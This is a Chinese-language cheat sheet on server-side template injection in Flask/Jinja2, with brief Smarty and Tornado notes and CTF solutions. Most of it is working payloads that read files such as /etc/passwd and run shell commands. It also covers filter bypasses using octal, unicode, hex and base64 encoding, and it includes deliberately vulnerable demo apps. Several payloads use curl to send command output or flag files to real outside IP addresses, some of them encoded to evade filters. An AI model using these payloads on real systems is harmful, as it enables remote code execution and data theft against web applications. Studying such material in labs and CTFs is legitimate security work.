python SSTI 总结
简介:客户端模板注入,注入过程类似于sql注入。
文章写了笔者所知的关于此漏洞的 环境搭建,漏洞前提条件,危害,攻击流程,技巧性绕过,修复建议等
而真正在利用的时候,只需要找几条可靠的超短payload,绕过过滤就可以
环境搭建
参考flask之ssti模版注入从零到入门_智者不ru爱河的博客-程序员宅基地 - 程序员宅基地 (cxyzjd.com)
找类
如果单纯只是想找找类的话:
随便新建一个app.py
随后在app.py添加如下代码
from flask import Flask
print("".__class__)
之后直接终端python app.py就可以
不过还是推荐使用pycharm进行编辑,因为比较好看
缺点: 有时候会报__global__
找不到
漏洞环境
demo1:
app.py
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>FlaskTest.</h1>
<h3>%s</h3>
</div>
''' %(request.args.get("key"))
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
运行app.py,默认5000端口
payload
http://127.0.0.1:5000/test?key={{1*2}}
demo2:
from flask import Flask,render_template,render_template_string,request
import re
app = Flask(__name__)
@app.route('/',methods=['GET', 'POST'])
def test():
template = "%s" % request.args["name"]
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True, port=8080)
漏洞修复建议
安全编程demo
1
from flask import Flask,render_template,render_template_string
app = Flask(__name__)
@app.route("/")
def hello_world():
return render_template_string('{{name}}',name='config')
if __name__ =="__main__":
app.run(debug=True,port=8080)
2
from flask import Flask,render_template,render_template_string
app = Flask(__name__)
@app.route("/")
def hello_world():
return render_template('hello.html',name='jan')
if __name__ =="__main__":
app.run(debug=True,port=8080)
templates/hello.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
{{name}}
</body>
</html>
前提条件
模板渲染函数(render_template_string,render_template)参数可控
具体来说,就是用了python的%格式化字符串这种方式,形如render_template_string('%s' % request.args['name'])
,这样便会产生漏洞。(相比起使用安全的{{}}进行字符替换,那种方式会渲染用户输入的{{}})
基础知识
python内置
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
__dict__ 返回类或对象对应的属性
__init__ 返回类或对象的构造方法
__builtins__ 该模块提供对python 的所有内置标识符的直接访问
__import__ 导入包函数
__getitem__ 对象或者字典获取属性(方法不可以)
Jinja内置
1.内置类
- config:flask.Flask.config(类文件导入了os)
- request:flask.request
-
- flask.request.referrer.a 这个可以直接伪造referer (17条消息) Django和Flask获取访问来源referrer_彭世瑜的博客-CSDN博客
- flask.request.values.a 适用于post,get 其中a是参数
- flask.request.args.a 只适用于get 其中a是参数
- flask.request.cookies.a
- flask.request.headers.a
- session:flask.session
- g:flask
2.内置函数
- url_for:flask.url_for
- get_flashed_messages:flask.get_flashed_messages
- lipsum
变量
{{foo.bar}}
{{foo['bar']}}
{{foo|attr('bar')}}
攻击流程
超短payload
(推荐)
思路:
发现注入点->直接获取特殊的类->各显神通
发现注入点->获取基本类Object->向下获取基本类Object的子类->在子类中找到<class 'os._wrap_close'>->直接加上那个payload
os._wrap_close
<class 'os._wrap_close'>
这个类就可以直接再后面加上__init__.__golbals__['popen'][ls].read()
八进制的写法:
["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\040\057\146\154\141\147")["\162\145\141\144"]()
//__init__.__golbals__['popen'][ls].read()
特殊的类(推荐)
{{config.__class__.__init__.__globals__['os'].popen('dir').read()}}
{{lipsum.__globals__['os'].popen('dir').read()}}
{{url_for.__globals__.os.popen('whoami').read()}}
{{get_flashed_messages.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}
{{url_for.__globals__.__builtins__.__import__('os').popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('dir').read()}}
{{x.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}
#例如
#{{jacko_god.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
#{{jacko|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('curl 175.24.73.30:2333?flag=`cat /f1agggghere`').read()")}}
#也就是
#jacko.__init__.__globals__.__getitem__["__builtins__"].__getitem__["eval"]("__import__('os').popen('curl 175.24.73.30:2333?flag=`cat /f1agggghere`').read()")
{{x.__init__.__globals__.__builtins__.open('/etc/passwd').read()}}
{{config['__init__']['__globals__']['os']['popen']('ls /')['read']()}}
{{(config|attr('__init__')|attr('__globals__')).os.popen('ls').read()}}
总的来说,以上的payload存在几种如下的变形
1.内置类中含os
config.__init__.__globals__.os.popen('ls /').read()
2.未定义类
xxx.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()
3.内置函数
url_for.__globals__.os.popen('whoami').read()
get_flashed_messages.__globals__.os.popen('whoami').read()
lipsum.__globals__.os.popen('whoami').read()
常规思路
参考:
http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/
思路:
发现注入点->获取基本类Object->向下获取基本类Object的子类->在子类中找到不带wrapper的类->查看其引用__builtins__
->引入file然后文件读写
->找file类然后直接文件读写
发现注入点->获取基本类Object->向下获取基本类Object的子类->在子类中找到不带wrapper的类->查看其引用__builtins__
->引入eval或者exec然后rce
发现注入点->获取基本类Object->向下获取基本类Object的子类->在子类中找到warnings.catch_warnings->一步一步引用相应的组件
以上的思路一般都是推荐file或者直接使用eval
-
发现注入点(略)
-
获取基本类
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
- 获取基本类后,继续向下获取基本类(object)的子类
object.__subclasses__()
- 找到重载过的
__init__
类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带wrapper的)
>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>
- 查看其引用
__builtins__
builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['某某函数']('相应参数').read()或者write()
# 例如
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
文件读写
上面的方法读文件
方法1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件
存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可
方法2
>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件
命令执行
方法1 利用eval 进行命令执行
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
方法2 利用warnings.catch_warnings 进行命令执行
- 查看
warnings.catch_warnings
方法的位置
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59
或者使用脚本
import json
a = """把所有子类丢这里"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k, v in enumerate(allList):
if "warnings.catch_warnings" in v:
print(str(k) + "--->" + v)
PS D:\脚本> python .\ssti找你想要的子类.py
240---> <class 'warnings.catch_warnings'>
- 查看
linecache
的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25
- 查找
os
模块的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12
- 查找
system
方法的位置(在这里使用os.open().read()
可以实现一样的效果,步骤一样,不再复述)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144
- 调用
system
方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
绕过技巧
参考
https://blog.csdn.net/miuzzx/article/details/110220425
分隔符过滤
1.控制语句
{% ... %}
print:
{%print(url_for.__globals__.os.popen('whoami').read())%}
if:
{%if url_for.__globals__.os.popen('curl 175.24.73.30:2333?flag=`whoami`').read()%}1{%endif%}
2.表达式
{{ ... }}
3.注释
{# ... #}
过滤_
编码绕过
比如:__class__ => \x5f\x5fclass\x5f\x5f
但是要先转为字符串:
.__init__.__globals__
转为
.__init__['\x5f\x5fglobals\x5f\x5f']
request绕过
''.__class__
写成 ''|attr(request['values']['x1'])
,然后post传入x1=__class__
- flask.request.referrer.a 这个可以直接伪造referer (17条消息) Django和Flask获取访问来源referrer_彭世瑜的博客-CSDN博客
- flask.request.values.a 适用于post,get 其中a是参数
- flask.request.args.a 只适用于get 其中a是参数
- flask.request.cookies.a
- flask.request.headers.a
过滤点
中括号
xxx.__xxx__.__xxxx__
可以写为
xxx['__xxx__'].__xxxx___
xxx['__xxx__']['__xxx__']
|attr
使用|attr 这个可以代替. 注意不可以代替括号
xxx.__xxx__
改写为
xxx|attr('__xxx__')
但是改写到os那里还是会报错的,使用getitem如下可成功
{{thai|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('dir').read()")}}
__getattribute__
config.__getattribute__('__init__')
url_for.__getattribute__('__globals__')
open函数
xxx.__init__.__globals__.__builtins__.open('/flag').read()
绕过中括号
pop
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。在这里使用pop并不会真的移除,但是却能返回其值,取代中括号,来实现绕过
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
关键字绕过
编码绕过
hex
url_for.__globals__.os.popen('who\x61mi').read()
python2
url_for.__globals__.os.popen('77686f616d69'.decode('hex')).read()
oct
双引号或者单引号里面直接加上/123
, 这种代表的是八进制表示的ascii码
unicode
双引号或者单引号里面直接加上\u005f
, 这种代表的是unicode编码
需要写点转化脚本
转八进制
strr = "__init__"
flag = ""
for i in ["__init__","__globals__","__getitem__","__builtins__","eval","__import__('os').popen('curl http://8.129.42.140:3307?cmd=`cat /*`').read()"]:
for a in i:
#print(str(oct(ord(a))))
print(i+":")
flag = flag + '\\'+str(oct(ord(a)))[2:]
print(flag)
flag = ""
最后自行手动组合为这样的payload
thai|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\47\51\56\162\145\141\144\50\51")
unicode编码此处暂无现成脚本,
Payload类似
""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")()
# curl 47.xxx.xxx.72:2333 -d \"`ls /`\"
base64
python2
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
request绕
{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__
{{''.__class__}} => {{''[request['args']['t1']]}}&t1=__class__
- flask.request.referrer.a 这个可以直接伪造referer (17条消息) Django和Flask获取访问来源referrer_彭世瑜的博客-CSDN博客
- flask.request.values.a 适用于post,get 其中a是参数
- flask.request.args.a 只适用于get 其中a是参数
- flask.request.cookies.a
- flask.request.headers.a
拼接
直接拼:
url_for.__globals__.os.popen('who''ami').read()
+号:
url_for.__globals__.os.popen('who'+'ami').read()
~号:
url_for.__globals__.os.popen('who'~'ami').read()
%号:
url_for.__globals__.os.popen('who%s'%'ami').read()
url_for.__globals__.os.popen('w%s%s'%('ho','ami')).read()
join:
url_for.__globals__.os.popen(['who','ami']|join).read()
format:
url_for.__globals__.os.popen('%s%s'|format('who','ami')).read()
__add__
:
url_for.__globals__.os.popen('who'.__add__('ami')).read()
dict+join:
dict(__buil=a,tins__=a)|join
其他函数
eval, execfile, compile, open, file, map, input, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe, os.listdir, os.access, os.execl, os.execle, os.execlp, os.execlpe, os.execv, os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads,cPickle.load,cPickle.loads
exec、eval函数
eval:
有回显
xxx.__init__.__globals__.__builtins__.eval('__import__("os").popen("whoami").read()')
exec:
无回显,反弹shell
xxx.__init__.__globals__.__builtins__.exec('__import__("os").popen("whoami").read()')
格式化字符串
"{0:c}"['format'](97)
{{"{0:c}"['format'](97)}} #a
{{"{0:c}"['format'](97)%2b"{0:c}"['format'](97)}} #aa
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}
#__class__
无回显
无回显可以使用print
{%print(lipsum.__globals__.__getitem__(\"os\").popen(\"base64 /f*\").read())%}
工具
工具:arjun s0md3v/Arjun: HTTP parameter discovery suite. (github.com)
arjun -u http://f7fb6677-ea19-4574-b22a-f09b2f5b3834.node4.buuoj.cn:81/ -c 100 -d 5
找子类脚本
D盘的脚本“ssti找你最想要的子类.py”
import json
a = """把所有子类丢这里"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k, v in enumerate(allList):
if "warnings.catch_warnings" in v:
print(str(k) + "--->" + v)
标志
输入的东西在界面上有回显
判断{{7*7}}
python居多,flask框架居多,Php的smarty框架也有
看到
{{}}
{{% set {}=None%}}'.format(c)
或者:build by smarty
、 build by flask
可能在回显ip的地方
利用
{{}}可以干什么呢
flask
没有过滤可以直接{{config}}即可查看所有app.config
想办法去找到builtins这个子类,因为很多rce都可以在该类下使用
在我的python2可以用到的payload:
rce
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('curl 120.79.0.164:1235?id=`whoami`')
读文件
{}.__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()
rce
有时候如果找基类的时候前端只看到一堆逗号,可能是因为被解析了,去看前端的源码
?num=[].__class__.__bases__[0].__subclasses__()[151].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl%098.129.42.140:3307")')
tornado
可以列举变量找到secret_key
用global()查看当前全局变量
用application.settings获取cookie_secret
jinjia2
可以用{{%}}标签
原本做题流程应该是[].__class__.__base__
找到基本类,然后__subclasses__()
去寻找可以重载__init__
的类,但是可以重载的类必须得在茫茫的基本类里面用肉眼数下标,太慢太辛苦了,所以可以利用{{%}}来写循环,条件语句
所以这使得我们找一个可利用的类变得相当简单
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
Smarty(php)
可以注入的点相当于外面有一层echo eval(),直接可以执行任意代码(如果没有过滤的话) (这句话待考察)
{$smarty.version}
{{var_dump(file_get_contents('/flag'))}}
{if phpinfo()}{/if} //if标签
还可以用{php}{/php}
、{literal} 标签
当出现
require_once('./libs/Smarty.class.php');
$smarty->display(可控);
认为存在smarty模板注入
题目
有道入门题
直接在{{}}的地方{{cat /flag}}
[WesternCTF2018]shrine
链接:[WesternCTF2018]shrine - 王叹之 - 博客园 (cnblogs.com)
import flask
app.config['FLAG'] = os.environ.pop('FLAG') @ app.route('/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine)
绕过上面的代码
本来没有waf的话,直接{{config}}即可查看所有app.config
像这种情况要用python还有一些内置函数,比如url_for和get_flashed_messages来绕过。
/shrine/{{url_for.__globals__}}
看到current_app意思应该是当前app,那我们就当前app下的config:
/shrine/{{url_for.__globals__['current_app'].config}}
然后出flag
也可以用这种
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
科莱杯
这个题考察点在sqli + ssti
sql注入和ssti均未有任何过滤,但是用sql注入联合查询的返回结果来进行ssti注入攻击的模式是第一次见
先联合查询union select 1,2,3
然后2换成payload
http://47.105.148.65:29003/?username=GetFlag' union select 1,'{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /flag").read()}}',3 --+
一节:
{% if {}.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://120.79.0.164:8080/?i=`whoami`').read()=
另一节:
='p' %}1
去掉下划线和中括号
{% if {}.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://120.79.0.164:8080/?i=`whoami`').read()=
get
|attr(request.values.name1)|attr(request.values.name2)
post
name1=__class__&name2=__mro__&name3
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://120.79.0.164:1235/?i=`dir`').read()=='p' %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}